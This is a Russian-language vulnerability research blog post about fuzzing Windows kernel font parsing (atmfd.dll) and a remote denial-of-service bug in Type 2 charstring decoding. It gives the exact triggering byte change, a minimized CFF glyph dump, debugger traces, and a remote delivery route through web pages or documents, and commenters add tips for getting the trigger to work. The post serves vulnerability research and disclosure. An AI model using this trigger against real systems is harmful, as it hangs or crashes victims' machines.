вторник, 12 июня 2012 г.

Удалённый 0day в ядре Windows: вы ещё не забыли уязвимости при обработке шрифтов?

Данной записью я продолжаю начатый ранее экскурс в legacy-мусор графической подсистемы Windows и уязвимости нулевого дня в ней. На этот раз речь пойдёт об уязвимостях, связанных с обработкой шрифтов. Вообще данный вектор сложно назвать новым, в ядре Windows уже неоднократно находили подобные уязвимости, среди них наиболее известными являются MS11-077 и MS11-087, подробный анализ которых можно найти в документе «GDI Font Fuzzing in Windows Kernel for Fun».

Операционная система Windows поддерживает как растровые, так и векторные шрифты. Растровые шрифты представляют собой файлы формата Microsoft Windows Bitmapped Font с расширением .FON, в качестве контейнера для хранения данных шрифта используется формат Portable Executable (обычные PE-файлы, так же как и в случае с клавиатурными раскладками). В неправильной обработке шрифтов такого формата, которая приводит к переполнению пула в ядре, и заключается уязвимость MS11-077.

Векторные шрифты Windows в качестве контейнера используют формат OpenType, а относительно формата хранимых в контейнере данных такие шрифты делятся на два класса: TrueType-based (файлы с расширением .TTF) и PostScript-based (файлы с расширением .OTF). Спецификация на OpenType и TrueType форматы доступна на сайте Microsoft-а. Эксплойт для уязвимости MS11-087, при обработке TrueType-based шрифтов, использовался в черве Duqu.

Вообще, на поиск других уязвимостей при обработке шрифтов меня (да и, наверняка, многих других исследователей) подвигли именно MS11-077 и MS11-087. Из-за простоты проработки данного вектора (которая диктуется относительно несложными форматами) я не рассчитывал на существенный успех, и сосредоточился, главным образом, на PostScript-based шрифтах, в коде обработки которых мне и удалось найти неизвестную ранее remote DoS уязвимость.

OpenType контейнер и обработка шрифтов в Windows


Данный формат описан в главе «TrueType Font File» документа «TrueType Specification». Его структура включает в себя последовательно идущие друг за другом заголовок, таблицу директорий и, собственно, сами директории:




Заголовок имеет следующий вид:

typedef struct _OTF_FILE_HEADER
{
    ULONG sfntVersion;      // 0x00010000 for version 1.0.
    USHORT numTables;       // Number of tables.
    USHORT searchRange;     // (Maximum power of 2 <= numTables) x 16.
    USHORT entrySelector;   // Log2(maximum power of 2 <= numTables).
    USHORT rangeShift;      // NumTables x 16-searchRange.

} OTF_FILE_HEADER,
*POTF_FILE_HEADER;

Наиболее важным для реализации фаззера полем является numTables, которое содержит количество записей в таблице директорий. Каждая такая запись имеет следующую структуру:

typedef struct _OTF_TABLE_HEADER
{
    ULONG tag;      // 4-byte identifier.
    ULONG checkSum; // CheckSum for this table.
    ULONG offset;   // Offset from beginning of TrueType font file.
    ULONG length;   // Length of this table.

} OTF_TABLE_HEADER,
*POTF_TABLE_HEADER;

Идентификатор tag представляет собой 4 ASCII символа, которые являются именем таблицы (например: head, hhea, maxp, OS/2, name, cmap, post, CFF, hmtx). Именно по этому имени код обрабатывающий файл шрифта определяет, какие данные находятся в данной таблице (описания глифов, метаинформация, цифровая подпись и многое другое). Всего типов таблиц существует около двух десятков. Загрузчик шрифтов проверяет контрольные суммы таблиц, которые хранятся в поле checkSum, если контрольная сумма не совпадает – то такой файл шрифта обработан не будет.

Код подсчёта контрольной суммы для данных, хранящихся в таблице:

ULONG OTF_CalcTableChecksum(ULONG *Table, ULONG Length)
{
    ULONG Sum = 0;
    ULONG nLongs = (ALIGN_UP(Length, sizeof(ULONG))) / sizeof(ULONG);

    for (ULONG i = 0; i < nLongs; i++, Table++)
    {
        Sum += htonl(*Table);
    }

    return Sum;
}

Для загрузки произвольного шрифта в Windows используются API функции AddFontResource() и AddFontresourceEx(), которые в качестве параметра принимают путь к файлу шрифта. На низком уровне этим функциям соответствуют системные вызовы графической подсистемы win32k!NtGdiAddFontResourceW() и win32k!NtGdiAddFontMemResourceEx(). Последний позволяет загрузить шрифт не только из файла на диске, но так же из буфера в памяти.

За обработку TrueType-based шрифтов отвечает код непосредственно графической подсистемы, находящийся в исполняемом модуле win32k.sys, но обработка PostScript-based шрифтов вынесена в динамическую библиотеку %SystemRoot%\system32\atmfd.dll, разработчиком которой, согласно информации о версии, является компания Adobe:




Эта библиотека имеет один и тот же номер версии на всех актуальных версиях Windows, начиная с XP. Загрузка atmfd.dll осуществляется на этапе инициализации графической подсистемы в коде win32k!InitializeGreCSRSS() c помощью функции win32k!bEnableFontDriver():

loc_BF88BF89: ; CODE XREF: InitializeGreCSRSS()+B92

    push    4
    push    offset _atmfdEnableDriver@12 ; __int32 (__stdcall *)()
    call    ?bEnableFontDriver@@YGHP6GJXZK@Z ; bEnableFontDriver(long (*)(void),ulong)
    test    eax, eax
    jz      short loc_BF88BFF8

Для вызова того или иного кода из atmfd.dll графическая подсистема использует функции-переходники, адреса которых хранятся в глобальном массиве win32k!atmfdCallBlock():

_atmfdCallBlock ; DATA XREF: atmfdEnableDriver(x,x,x)+16o

    dd 0
    dd offset _atmfdEnablePDEV@44 ; atmfdEnablePDEV(x,x,x,x,x,x,x,x,x,x,x)
    dd 2
    dd offset _atmfdDisablePDEV@4 ; atmfdDisablePDEV(x)
    dd 1
    dd offset __SetDbgTag@8 ; _SetDbgTag(x,x)
    dd 2Dh
    dd offset _atmfdLoadFontFile@28 ; atmfdLoadFontFile(x,x,x,x,x,x,x)
    dd 2Ch
    dd offset _atmfdQueryFontCaps@8 ; atmfdQueryFontCaps(x,x)
    dd 2Eh
    dd offset _atmfdUnloadFontFile@4 ; atmfdUnloadFontFile(x)
    dd 33h
    dd offset _atmfdQueryFontFile@16 ; atmfdQueryFontFile(x,x,x,x)
    dd 1Ah
    dd offset _atmfdQueryFont@16 ; atmfdQueryFont(x,x,x,x)
    dd 2Ah
    dd offset _atmfdFree@8  ; atmfdFree(x,x)
    dd 1Bh
    dd offset _atmfdQueryFontTree@20 ; atmfdQueryFontTree(x,x,x,x,x)
    dd 1Ch
    dd offset _atmfdQueryFontData@28 ; atmfdQueryFontData(x,x,x,x,x,x,x)
    dd 2Bh
    dd offset _atmfdDestroyFont@4 ; atmfdDestroyFont(x)
    dd 35h
    dd offset _atmfdQueryAdvanceWidths@24 ; atmfdQueryAdvanceWidths(x,x,x,x,x,x)
    dd 31h
    dd offset _atmfdQueryTrueTypeOutline@28 ; atmfdQueryTrueTypeOutline(x,x,x,x,x,x,x)
    dd 30h
    dd offset _atmfdQueryTrueTypeTable@32 ; atmfdQueryTrueTypeTable(x,x,x,x,x,x,x,x)
    dd 18h
    dd offset _atmfdEscape@24 ; atmfdEscape(x,x,x,x,x,x)
    dd 2Fh
    dd offset _atmfdFontManagement@28 ; atmfdFontManagement(x,x,x,x,x,x,x)
    dd 32h
    dd offset _atmfdGetTrueTypeFile@8 ; atmfdGetTrueTypeFile(x,x)
    dd 56h
    dd offset _atmfdQueryGlyphAttrs@8 ; atmfdQueryGlyphAttrs(x,x)

Отладочные символы к библиотеке atmfd.dll отсутствуют, она имеет размер около 300Кб и содержит в себе 837 функций. В коде atmfd.dll обильно встречается вывод различных диагностических сообщений об ошибках следующего вида:

push    offset aOp_spOp_stk ; "op_sp >= op_stk"
push    offset aUnderflowOfTyp ; "underflow of Type 1 operand stack"
push    117Bh
push    offset aDNtWindowsCo_6 ; "d:\\nt\\windows\\core\\ntgdi\\fondrv\\otfd\\bc"...
push    offset aSDSS    ; "%s:%d: %s (%s)\n"
push    offset word_427FC
call    nullsub_52

Однако функция, осуществляющая вывод этих сообщений, в связи с особенностью Release-сборки представляет собой ничего не делающую пустышку. Перенаправить вывод этих сообщений в удалённый отладчик ядра можно путём установки следующей точки останова:

kd> ba e1 atmfd+15384 "kb L1;da poi(esp+c);da poi(esp+14);g"

Диагностические сообщения могут быть полезными при фаззинге и анализе его результатов:




Фаззинг


Так как тратить много времени на несколько заезженный вектор было неразумно – искать уязвимости при обработке PostScript-based шрифтов я решил методом примитивного мутационного фаззинга. Разработанный мной фаззер, разумеется, осуществлял корректный пересчёт контрольных сумм для содержимого таблиц OpenType контейнера, а во всём остальном – был основан на базе инструмента MutateGen, о котором я когда-то писал в контексте фаззинга формата архивов. Итератор (код, который осуществляет «запуск» сгенерированного набора тестовых данных) был встроен в сам фаззер, и представлял собой вариацию на тему API функций AddFontResource() и DrawText().

Касательно реализации итератора у меня есть некоторые общие замечания. В книге «iOS Hacker’s Handbook», которую я сейчас читаю (а так же во многих других подобной тематики), содержатся рекомендации по реализации итератора вида «передайте сгенерированную фаззером единицу данных тестируемому приложению, подождите N секунд, после чего насильно завершите его процесс». На мой взгляд, подобный подход – несколько бестолковый. Так как количество итераций, которые ваш сетап для фаззинга может производить в течении некоторого интервала времени, самым непосредственным образом влияют на эффективность фаззинга – разумно минимизировать время проведения одной итерации всеми возможными средствами, а именно – завершать работу тестируемого приложения не по истечению фиксированного количества времени, а ровно в тот момент, когда оно закончило загрузку и обработку тестовых данных. Для отслеживания этого момента можно использовать как легитимные средства (например, различные API и плагины) так и хаки, вроде внесения собственных модификаций в исходный код или исполняемый файл тестируемого приложения.

В итераторе своего фаззера шрифтов, для отслеживания момента окончания загрузки шрифта, я использовал особенности естественного поведения очереди оконных сообщений в Windows:
  1. При создании окна с помощью API функции CreateWindowEx() система посылает в его оконную процедуру сообщения типа WM_PAINT.
  2. Сразу после создания окна код фаззера отправляет ему сообщение типа WM_COMMAND.
  3. При получении сообщения WM_PAINT оконная процедура инициирует вывод текста с использованием модифицированного фаззером шрифта. Для этого вызываются API функции CreateFontIndirect() и DrawText().
  4. Так как синхронные оконные сообщения доставляются оконной процедуре в порядке добавления их в очередь – после WM_PAINT оконная процедура получает сообщение WM_COMMAND, обработка которого заключается в закрытии окна и завершении тестовой итерации. Загрузка шрифта и вывод текста в этот момент уже завершились.
Фаззер представляет собой приложение, запускаемое из командной строки:

> MsFontsFuzz.exe <font_name> <font_file_path> [options]

... где <font_name> и <font_file_path> – имя шрифта и путь к его файлу. В качестве опций можно указывать следующие опциональные ключи:

--test – вывод символов указанного шрифта без фаззинга.

--text – строка, которая будет выведена с использованием указанного шрифта, по умолчанию используется строка ASCII символов в диапазоне 20h – 7Fh.

--noisy – выводить в консоль информацию о каждой итерации.

--fix_crcs – исправление неправильных контрольных сумм в указанном файле шрифта.

Так же поддерживаются ключи управления режимом генерации некорректных данных (-FILE_RANGE_START, -FILE_RAGE_END, -BLOCK_SIZE, -BLOCK_RANGE_START, -BLOCK_RANGE_END и -BLOCK_RANGE_N) которые соответствуют таковым у упоминавшегося выше инструмента MutateGen.



В качестве исходных данных для мутационного генератора я выбрал шрифты Brush Script Std Regular, Hobo Std Medium и несколько других. Так как публичных инструментов для анализа покрытия кода в режиме ядра не существует – этот выбор был интуитивным, исходя из критериев наименьшего размера файла шрифта при наибольшем количестве директорий разных типов в нём.

Уязвимость


В процессе фаззинга c использованием шрифтов Brush Script Std Regular и Hobo Std Medium несколько раз обнаруживалось полное «зависание» тестовой виртуальной машины с последующим вылетом в удалённый отладчик режима ядра по срабатыванию watchdog-а:

*******************************************************************************
*                                                                             *
*  The watchdog detected a timeout condition. We broke into the debugger to   *
*  allow a chance for debugging this failure.                                 *
*                                                                             *
*  Normally the system will try to recover from this failure and return to a  *
*  VGA graphics mode.  To disable the recovery feature edit the watchdog      *
*  variable WdDisableRecovery.  This will allow you to debug your driver.     *
*  i.e. execute ed watchdog!WdDisableRecovery 1.                              *
*                                                                             *
*  Intercepted bugcheck code and arguments are listed below this message.     *
*  You can use them the same way as you would in case of the actual break,    *
*  i.e. execute .thread Arg1 then kv to identify an offending thread.         *
*                                                                             *
*******************************************************************************
 
*** Intercepted Fatal System Error: 0x000000EA
    (0x823D8920,0x82809008,0x82954E78,0x00000001)
 
Driver at fault: vmx_fb
 
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPoint:
80527c00 cc              int     3
kd> .thread 0x823D8920
Implicit thread is now 823d8920
kd> kb
ChildEBP RetAddr  Args to Child             
b194f694 806d3ca4 00000000 b194fdf0 8054160d nt!KiDispatchInterrupt+0x7f
b194f6a0 8054160d 00c60b00 00000162 b194fdf0 hal!HalEndSystemInterrupt+0x54
b194f6a0 bf1b4dbc 00c60b00 00000162 b194fdf0 nt!KiInterruptDispatch+0x4d
*** ERROR: Module load completed but symbols could not be loaded for ATMFD.DLL
WARNING: Stack unwind information not available. Following frames may be wrong.
b194fdf0 bf1b6f4a e1326868 bf1c4828 b1950028 ATMFD+0x2adbc
b194fea8 bf1aaf74 e1326868 bf1c4828 b1950028 ATMFD+0x2cf4a
b194ff88 bf1ab013 e1326868 b1950028 b19500ac ATMFD+0x20f74
b194ffb4 bf19c38f e1326868 bf1c4828 b1950028 ATMFD+0x21013
b195011c bf19c77a ffffffff b1950220 e12acb58 ATMFD+0x1238f
b1950168 bf18d386 ffffffff b1950220 00000000 ATMFD+0x1277a
b19501c0 bf83a9db e1a91010 e12abd08 00000001 ATMFD+0x3386
b19501f0 bf83ac37 e1a91010 e12abd08 00000001 win32k!PDEVOBJ::QueryFontData+0x3c
b1950268 bf807b15 b19505d0 e13df344 00000063 win32k!xInsertMetricsPlusRFONTOBJ+0xc4
b195029c bf812b58 00000001 b1950644 7ffde22c win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x180
b19502d0 bf812624 b1950858 b19505d0 00002128 win32k!ESTROBJ::vCharPos_H3+0xee
b1950314 bf8118da 7ffde22c 00000001 b1950858 win32k!ESTROBJ::vInit+0x257
b19505b8 bf813031 b1950858 000000ed 00000000 win32k!GreExtTextOutWLocked+0x666
b1950720 bf80c6c7 b1950858 7ffde1dc 00000058 win32k!GreBatchTextOut+0x344
b1950874 8053d6aa 00000091 00a8fabc 00a8fadc win32k!NtGdiFlushUserBatch+0x11b
b19508a4 bf80555e bf80556b 00000000 00a80000 nt!KiFastCallEntry+0xca
b19508ac 00000000 00a80000 7c900023 badb0023 win32k!HmgDecProcessHandleCount+0x2e

Уязвимость стабильно воспроизводилась в результате модификации фаззером одного из байтов в директории CFF. Всего подобных смещений, изменения байта по которым приводили к триггерингу уязвимости, обнаружилось несколько штук для каждого из шрифтов. Одно из них:




В директории CFF, согласно документации, находятся данные в формате Compact Font Format, спецификация на который предоставляется компанией Adobe. Внутри CFF контейнера содержится векторное описание глифов для символов шрифта в формате Post Script Type 2 Character String Format, который так же описан в документе «The Type 2 Charstring Format»:




Формат CFF организован в отдельные структуры данных, которые содержат описания поддерживаемых данным шрифтом символов, вектора для построения глифов, метаинформацию и прочее. Доступ к глифам осуществляется через таблицы кодирования, которые устанавливают соответствие между глифами и кодами символов. Эти таблицы представлены в виде 3-х параллельных массивов (код символа, имя символа, глиф) с общим индексом.

Для работы с PostScript шрифтами Adobe предоставляет пакет Font Development Kit, в который входит ряд полезных программ, позволяющих разбирать и собирать обратно PostScript шрифты. Для локализации некорректных данных я сделал текстовые дампы содержимого для нормального и сгенерированного фаззером шрифта с помощью утилиты tx.exe, после чего сравнил их diff-ом:

> fdk-2.5\Tools\win\tx.exe -dcf BrushScriptStd.otf > BrushScriptStd.txt
> fdk-2.5\Tools\win\tx.exe -dcf BrushScriptStd_0000298f.otf > BrushScriptStd_0000298f.txt
> diff -u BrushScriptStd.txt BrushScriptStd_0000298f.txt
--- BrushScriptStd.txt     Fri Jun 08 14:56:35 2012
+++ BrushScriptStd_0000298f.txt Fri Jun 08 17:06:00 2012
@@ -1249,7 +1249,8 @@
 [68]={
   -40 -13 88 310 -20 hstem
   -3 73 14 callsubr
-  95 112 99 65 61 vhcurveto
+  95 112 99 65 reserved13
+  vhcurveto
   32 callsubr
 }

Дампы доступны для загрузки по следующим ссылкам: BrushScriptStd_0000298f.txt, BrushScriptStd.txt

Как видно, модификация фаззером значения байта по смещению 298Fh из C8h в 0Dh привела к тому, что описание глифа #68 (в шрифте Brush Script Std ему соответствует прописная латинская литера «с») изменилось с:

[68]={
  -40 -13 88 310 -20 hstem
  -3 73 14 callsubr
  95 112 99 65 61 vhcurveto
  32 callsubr
}

… на:

[68]={
  -40 -13 88 310 -20 hstem
  -3 73 14 callsubr
  95 112 99 65 reserved13
  vhcurveto
  32 callsubr
}

Что и привело к аномальному поведению atmfd.dll при обработке шрифта.

Обратимся к документации на Type 2 Charstring Format, что бы разобраться в формате глифов и выяснить причину уязвимости. Charstring-данные представляют собой массив байтов, каждый из которых может декодироваться либо как оператор (hstem, callsubr, vhcurveto и другие на листингах выше), либо как числовой аргумент (-40, -13, 88, 310, -20 и так далее) в зависимости от того, в каком диапазоне лежит значение этого байта:




Данные оригинального шрифта, имеющие HEX-представление F7h 04h EEh CCh C8h 1Eh, декодируются в команду |dy1 dx2 dy2 dx3 dyf vhcurveto| которая строит к текущей точке кривую Безье по двум касательным, которые указаны в качестве операндов. Операнд dyf (глубина изгиба кривой), в модифицированном фаззером шрифте имеет значение 0Dh, в результате чего atmfd.dll ошибочно декодирует этот байт в зарезервированный оператор под номером 13:




Для более удобного анализа уязвимости из сгенерированного фаззером шрифта я собрал минимальный тестовый кейс, с помощью которого можно воспроизвести найденную уязвимость. Для редактирования шрифтов была использована другая утилита из состава Font Development Kit, ttx.exe, которая позволяет преобразовать .OTF файл шрифта в XML представление, и генерировать из модифицированного XML документа новый .OTF файл.

Модификации для получения минимального тестового кейса свелись к следующему:
  1. Убрана вся метаинформация.
  2. Оставлен только один глиф.
  3. Оригинальные команды Type 2 Charstring Format были изменены путём свёртки вызовов процедур (оператор callsubr) и удаления тех инструкций, которые не влияют на воспроизведение уязвимости.
В результате текстовый дамп полученного файла шрифтов упростился до следующего вида:

### Header (00000700-00000703)
major  =1
minor  =0
hdrSize=4
offSize=4
### Name INDEX (00000704-0000071c)
--- object[index]={value}
[0]={CFF_Type-1_0x0d_expl}
### Top DICT INDEX (0000071d-0000074c)
--- object[index]={value}
[0]={
  423 version
  424 Notice
  425 FullName
  426 FamilyName
  387 Weight
  -14 ItalicAngle
  -184 -280 1328 882 FontBBox
  465 charset
  28 1271 Private
  472 CharStrings
}
### String INDEX (0000074d-000008cc)
--- object[index]={value}
[391]={f_i}
[392]={Omega}
[393]={pi}
[394]={Euro}
[395]={estimated}
[396]={partialdiff}
[397]={product}
[398]={summation}
[399]={uni2219}
[400]={radical}
[401]={infinity}
[402]={integral}
[403]={approxequal}
[404]={notequal}
[405]={lessequal}
[406]={greaterequal}
[407]={lozenge}
[408]={uni02C9}
[409]={uni00AD}
[410]={uni03A9}
[411]={uni00A0}
[412]={afii61289}
[413]={uni03BC}
[414]={uni2215}
[415]={f_l}
[416]={a.superior}
[417]={o.superior}
[418]={one.superior}
[419]={two.superior}
[420]={three.superior}
[421]={uni2206}
[422]={uni2010}
[423]={002.000}
[424]={}
[425]={CFF_Type-1_0x0d_expl Medium}
[426]={CFF_Type-1_0x0d_expl}
### GlobalSubrINDEX (000008cd-000008ce)
empty
### Encoding ........ (Standard)
### Charset (000008d1-000008d7)
format=1
--- Range1[index]={first,nLeft}
[0]={1,227}
[1]={391,31}
### CharStrings INDEX (000008d8-00000bf6)
--- object[index]={value}
[0]={
  endchar
}
[1]={
  endchar
}
 
# ... SKIPPED ...
 
[68]={
  -74 37 -72 77 95 112 99 65 reserved13
  vhcurveto
  endchar
}
 
# ... SKIPPED ...
 
[260]={
  endchar
}
### Private DICT (00000bf7-00000c12)
  -20 20 683 23 -333 23 247 9 BlueValues
  -265 23 OtherBlues
  88 StdHW
  88 StdVW
  565 defaultWidthX
  399 nominalWidthX
  28 Subrs
### Local Subr INDEX (00000c13-00000c14)
Empty

XML представление, которое использовалось для редактирования шрифта: CFF_Type-1_0x0d_expl.ttx

Далее была произведена трассировка кода atmfd.dll при обработке минимального тестового кейса. При загрузке atmfd.dll в дизассемблер, основная функция, обрабатывающая байты глифа, сразу бросается в глаза: она находится по адресу ATMFD+0x288ca и имеет размер машинного кода порядка 17-ти килобайт. В коде функции неоднократно встречаются константы и арифметические операции декодирования байтов, которые описаны в документации на Type 2 Charstring Format. Установим точку останова на ту инструкцию, которая читает байт из описывающего глиф массива для последующего декодирования:

kd> u ATMFD+0x28f83
ATMFD+0x28f83:
bf1b2f83 8b857cffffff    mov     eax,dword ptr [ebp-84h]
bf1b2f89 0fb638          movzx   edi,byte ptr [eax]
bf1b2f8c ff857cffffff    inc     dword ptr [ebp-84h]
kd> db @eax
00c80b2b  41 b0 43 d8 ea f7 04 ee-cc 0d 1e 0e 0e 0e 0e 0e  A.C.............
00c80b3b  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b4b  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b5b  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................

Регистр eax указывает на область памяти, в которой находится глиф. Когда цикл получения байт из буфера доходит до кода операции 0Dh, из-за ошибки при его декодировании указатель текущей позиции буфера перемещается на несколько десятков байт выше (0x00c80b09):

ATMFD+0x28f89:
bf1b2f89 0fb638          movzx   edi,byte ptr [eax]
kd> db @eax
00c80b09  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b19  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................
00c80b29  0e 0e 41 b0 43 d8 ea f7-04 ee cc 0d 1e 0e 0e 0e  ..A.C...........
00c80b39  0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e  ................

... где находится код операнда 0Eh (endchar), после обработки которого указатель текущей позиции вновь перемещается на начало глифа (0x00c80b2b), из-за чего процедура впадает в бесконечный цикл.

Таким образом, найденную мной уязвимость можно классифицировать как Remote DoS – по итогам исследования кода atmfd.dll не было выявлено ошибок, которые могли бы привести к повреждению памяти или контролю над EIP. На компьютерах с Windows XP / Server 2003 обработка зловредного шрифта приводит к аварийному завершению работы системы:




На Windows Vista и старше результатом воспроизведения уязвимости является 100% загрузка одного из ядер процессора, опять же, без возможности каким-либо образом завершить процесс, который инициировал загрузку зловредного шрифта:




Уязвимости подвержены все актуальные версии Windows (как x32, так и x64). Уязвимость может быть воспроизведена из-под учётной записи с любым уровнем привилегий. Для удалённой атаки зловредный шрифт можно встроить в web-страницу или документ (червь Duqu использовал документ Microsoft Word формата .DOCX для проведения схожей атаки).

Links


Размер минимизированного .OTF файла шрифта составляет 4Кб. Архив доступен для загрузки.

Исходные тексты и исполняемые файлы фаззера доступны в репозитории на GitHub.

3 комментария:

  1. This does not work in a .html file or a .docx file for me.

    ОтветитьУдалить
  2. trolloos:

    1) Try to sign .otf font file with certificate (self.signed should be ok).

    2) Attach a remote kernel debugger to the target, set bps on win32k!NtGdiAddFontResourceW() / win32k!NtGdiAddFontMemResourceEx() and check if they really called.

    ОтветитьУдалить